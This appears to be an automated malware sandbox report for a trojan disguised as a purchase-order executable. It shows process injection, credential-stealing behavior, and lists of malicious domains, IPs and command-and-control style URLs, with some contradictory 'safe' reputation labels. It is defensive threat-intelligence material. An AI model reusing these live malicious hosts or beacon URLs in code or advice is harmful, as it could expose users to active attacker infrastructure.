behaviorgraph top1 signatures2 2 Behavior Graph ID: 755933 Sample: New PO-RJ-IN-003 - Knauf Qu... Startdate: 29/11/2022 Architecture: WINDOWS Score: 100 55 Snort IDS alert for network traffic 2->55 57 Malicious sample detected (through community Yara rule) 2->57 59 Multi AV Scanner detection for submitted file 2->59 61 3 other signatures 2->61 10 New PO-RJ-IN-003 - Knauf Queimados.exe 19 2->10         started        process3 file4 35 C:\Users\user\AppData\Local\...\nsqB9A3.tmp, COM 10->35 dropped 37 C:\Users\user\AppData\Local\Temp\jaxdij.exe, PE32 10->37 dropped 13 jaxdij.exe 1 2 10->13         started        process5 file6 39 C:\Users\user\AppData\...\rubthqnwyfue.exe, PE32 13->39 dropped 79 Multi AV Scanner detection for dropped file 13->79 81 Machine Learning detection for dropped file 13->81 83 Maps a DLL or memory area into another process 13->83 17 jaxdij.exe 13->17         started        signatures7 process8 signatures9 47 Modifies the context of a thread in another process (thread injection) 17->47 49 Maps a DLL or memory area into another process 17->49 51 Sample uses process hollowing technique 17->51 53 Queues an APC in another process (thread injection) 17->53 20 explorer.exe 17->20 injected process10 dnsIp11 41 tobewell.store 178.208.83.20, 49740, 49741, 49742 VDSINA-ASRU Russian Federation 20->41 43 gmrsnodes.com 192.185.90.105, 49713, 49714, 49715 UNIFIEDLAYER-AS-1US United States 20->43 45 19 other IPs or domains 20->45 63 System process connects to network (likely due to code injection or exploit) 20->63 65 Performs DNS queries to domains with low reputation 20->65 24 rundll32.exe 13 20->24         started        27 rubthqnwyfue.exe 20->27         started        29 rubthqnwyfue.exe 20->29         started        signatures12 process13 signatures14 67 Tries to steal Mail credentials (via file / registry access) 24->67 69 Tries to harvest and steal browser information (history, passwords, etc) 24->69 71 Modifies the context of a thread in another process (thread injection) 24->71 73 Maps a DLL or memory area into another process 24->73 75 Multi AV Scanner detection for dropped file 27->75 77 Machine Learning detection for dropped file 27->77 31 WerFault.exe 3 10 27->31         started        33 WerFault.exe 10 29->33         started        process15
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
206.83.40.92
 publickit.website Canada
207083 HOSTSLIM-GLOBAL-NETWORKNL true
107.148.15.81
 www.ybkos.link United States
54600 PEGTECHINCUS true
74.208.236.65
 www.tommy57.shop United States
8560 ONEANDONE-ASBrauerstrasse48DE true
93.179.127.27
 pp.3105.net Canada
25820 IT7NETCA true
23.111.12.177
 amspustaka.com Singapore
33438 HIGHWINDS2US true
74.208.236.214
 www.spirituallyzen.com United States
8560 ONEANDONE-ASBrauerstrasse48DE true
38.40.166.195
 www.frwqc.com United States
174 COGENT-174US true
192.185.90.105
 gmrsnodes.com United States
46606 UNIFIEDLAYER-AS-1US true
62.233.121.61
 www.new-thinking.digital United Kingdom
20860 IOMART-ASGB true
188.114.97.3
 www.oonrreward.xyz European Union
13335 CLOUDFLARENETUS true
178.208.83.20
 tobewell.store Russian Federation
48282 VDSINA-ASRU true
38.163.214.169
 www.bookmygennie.com United States
174 COGENT-174US true
172.67.214.243
 www.dailyheraldresearch.com United States
13335 CLOUDFLARENETUS true
216.40.34.41
 www.lee-perez.com Canada
15348 TUCOWSCA true
198.54.121.81
 www.porggiret.site United States
22612 NAMECHEAP-NETUS true

Contacted Domains

Name IP Active
www.porggiret.site 198.54.121.81 true
www.dailyheraldresearch.com 172.67.214.243 true
www.ybkos.link 107.148.15.81 true
tobewell.store 178.208.83.20 true
www.tommy57.shop 74.208.236.65 true
www.bookmygennie.com 38.163.214.169 true
www.new-thinking.digital 62.233.121.61 true
www.oonrreward.xyz 188.114.97.3 true
pp.3105.net 93.179.127.27 true
gmrsnodes.com 192.185.90.105 true
www.frwqc.com 38.40.166.195 true
amspustaka.com 23.111.12.177 true
www.spirituallyzen.com 74.208.236.214 true
publickit.website 206.83.40.92 true
www.lee-perez.com 216.40.34.41 true
www.publickit.website unknown unknown
www.davidemarone.com unknown unknown
www.gmrsnodes.com unknown unknown
www.tobewell.store unknown unknown
www.700544.com unknown unknown
www.amspustaka.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://www.amspustaka.com/m9ae/?F6z4=qV5DC7gvSDrvRRGewn1q/I/EwjqoLGbs6Pm0OHOL9iW03iXh+4kaxlrb2hUer6xMCUxzC2FjXkfJjvQV3jFRWlDNN37fVrd03A==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
www.spirituallyzen.com/m9ae/ true
  • Avira URL Cloud: safe
 low
http://www.frwqc.com/m9ae/?F6z4=pynBU+gmcVJLvmAk24XYTH3CuEH61wNq2RizpB0aNcQM45kGiq+MbQwB99t5gTqC+tvIVg5qQAlCnSYFpOBmFRnmyN3XSGsj5w==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.tobewell.store/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.lee-perez.com/m9ae/?F6z4=nJLDtYwD0af/ePmsJ0ZKjiSVJI8rGVPKc+UQspc6K5yuMKQDKTWfrb6tVbro5/Rq1DJ6W8y/y+8M88qCUODrzxtLw2C30JMyEA==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.ybkos.link/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.bookmygennie.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.spirituallyzen.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.spirituallyzen.com/m9ae/?F6z4=4ec4fK6CMrtHuja3pViXkl8dlfKAbA0cl+B6ZD+yu2XjTt2h0hV8coMCjgRVKURuW2bGAgNBkAmkGWEjBIBjWi0t+MmK3uNJiA==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.amspustaka.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.tobewell.store/m9ae/?F6z4=IYAlNlE+FJHaxy8xKQwy2r7+8XL3SaTnyfpqtFACBxvA1+IYQm/X+/KTYzdsJPpQzBa/f1IulPzZtkKHtHHlpgqy4oXa9op1jw==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.lee-perez.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.700544.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.new-thinking.digital/m9ae/?F6z4=yeGgPnkUyrtnR7ayT+iAJkQi5P+hLqfzRu7/UIGlFriReHTN1+d7DIiWZVVmKJ4cvvB3dwEDWmLuBMYDpMvfxEUSQC8X9wPCmA==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.bookmygennie.com/m9ae/?F6z4=6mtkb9sgLdU5EKgBox+sPzjX7gz7/N2rxrRH87049IJ0dh9Tn6WPD5ftVfyzJnBGA3PJpfJHiW/BJrwPQwZWSWvRAWejN4CLLw==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.frwqc.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.publickit.website/m9ae/?F6z4=XxObD+bozu8R8o86HZokIAwRDcTSUgt1X0zVs8jY2xx2j7amGX2Nanqc4HjuSpD/F/TSiqNoyiNwTcXhTU7ob6qQALfoq6EoqQ==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.tommy57.shop/m9ae/?F6z4=SKemUsRCc/T/1VtJMmoBZUTfzvZVAKOrpHPFHv5bIcLS1NPOIJ3jWavklE8DT12a+oeWOwZfdDSidPGYCemgiB/muCJBu0rQaA==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.dailyheraldresearch.com/m9ae/?F6z4=q+GqSbkO5kqO+W9u2R8uyv/azK/Tyw9Ktq6EIVL87IABA33EfP0KANVapKUQlEGAPHMNZ2Czo2C9EtWkfzzg2b9ydKIDbcUulA==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.dailyheraldresearch.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.porggiret.site/m9ae/?F6z4=la9UBuDbTkNYLSjTdKhHvd+t7tYwPiF7FtZOQELnOBzejFZlEJsWuQ55NoeYz7TqoHjnmCP3NdRIHdLBoOXytpXMXLmthCtowg==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.oonrreward.xyz/m9ae/?F6z4=LevhYPqdwsQo7WECD6x58K9v32wKr9jEH/unqFqLIkFUX6m7L7+nio4XOLlDaWup3nHmZdjhK28JVchKAobJnM2R7Dp3tDlOSA==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.ybkos.link/m9ae/?F6z4=19Acn/cRxsS2hMIvbksqz2Fo9/tvE3PmoTWmDY67F7eOm0DJL1plqZyOKvwSm3g2XK4MIkQK6hC8KTphNB2J9vZOQC2YpVwH6g==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.porggiret.site/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.gmrsnodes.com/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.gmrsnodes.com/m9ae/?F6z4=mwF44ViOu9spAX9yiKWO/GCmf5D0pm7R930/p+8373gvxGpTfL4o/Lm9AHizqU6H72eF1eWgDLpzZ2SfuF6Kyw289k0D2VxhyA==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.700544.com/m9ae/?F6z4=Mu7XrmbNuBpRkVuoTBGU/iHqS/OhVA7Any/uXbqYT12baRfdD/rxJiFT6KJrK4J1cV2pSA20UCfshAzQrgjlnBPfig9iswk20g==&mN6Hg=kRq8Chx0sXs4Nnu0 true
  • Avira URL Cloud: safe
 unknown
http://www.new-thinking.digital/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.publickit.website/m9ae/ true
  • Avira URL Cloud: safe
 unknown
http://www.tommy57.shop/m9ae/ true
  • Avira URL Cloud: safe
 unknown